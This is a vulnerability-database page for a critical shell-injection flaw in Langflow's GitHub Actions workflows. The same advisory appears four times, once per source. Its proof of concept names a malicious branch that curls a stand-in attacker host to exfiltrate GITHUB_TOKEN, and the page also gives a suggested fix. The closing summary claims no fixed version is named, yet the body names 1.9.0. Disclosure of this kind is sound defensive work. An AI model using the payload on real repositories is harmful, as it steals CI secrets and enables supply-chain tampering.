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CVE-2026-33475

Langflow GitHub Actions Shell Injection

9.1 CriticalPublic exploit

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.


Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.


PoC

  1. Fork the Langflow repository

  2. Create a new branch with the name:

    injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  3. Open a Pull Request to the main branch from the new branch

  4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)

  5. The run: step containing:

    echo "Branch: ${{ github.head_ref }}"
    

    Will execute:

    echo "Branch: injection-test"
    curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  6. The attacker receives the CI secret via the exfil URL.


Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.


Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

3.15%Up 3.1 points since Mar 25, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.1

Langflow GitHub Actions Shell Injection

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.


Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.


PoC

  1. Fork the Langflow repository

  2. Create a new branch with the name:

    injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  3. Open a Pull Request to the main branch from the new branch

  4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)

  5. The run: step containing:

    echo "Branch: ${{ github.head_ref }}"
    

    Will execute:

    echo "Branch: injection-test"
    curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  6. The attacker receives the CI secret via the exfil URL.


Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.


Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml
Record
CVE-2026-33475
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-74, CWE-78
Updated
2026-11-02
EUVDEUVD-2026-14790 9.1

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.


Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.


PoC

  1. Fork the Langflow repository

  2. Create a new branch with the name:

    injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  3. Open a Pull Request to the main branch from the new branch

  4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)

  5. The run: step containing:

    echo "Branch: ${{ github.head_ref }}"
    

    Will execute:

    echo "Branch: injection-test"
    curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  6. The attacker receives the CI secret via the exfil URL.


Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.


Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml
Record
EUVD-2026-14790
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
NVD 9.1

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.


Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.


PoC

  1. Fork the Langflow repository

  2. Create a new branch with the name:

    injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  3. Open a Pull Request to the main branch from the new branch

  4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)

  5. The run: step containing:

    echo "Branch: ${{ github.head_ref }}"
    

    Will execute:

    echo "Branch: injection-test"
    curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  6. The attacker receives the CI secret via the exfil URL.


Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.


Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml
Record
CVE-2026-33475
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-74, CWE-78
Updated
2026-11-02
OSV 9.1

Langflow GitHub Actions Shell Injection

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.


Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.


PoC

  1. Fork the Langflow repository

  2. Create a new branch with the name:

    injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  3. Open a Pull Request to the main branch from the new branch

  4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)

  5. The run: step containing:

    echo "Branch: ${{ github.head_ref }}"
    

    Will execute:

    echo "Branch: injection-test"
    curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  6. The attacker receives the CI secret via the exfil URL.


Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.


Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml
Record
CVE-2026-33475
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-74, CWE-78
Updated
2026-11-02

Affected products

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubpvharmo2/gha-lab-9b5e3ccfbe2026-09-04

History

History
RecordedChangedSources
first indexedCVE List, EUVD, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-33475 is a critical vulnerability (CVSS 9.1) in Langflow, published March 24, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 3.15%, the 88th percentile. No source names a fixed version.

References

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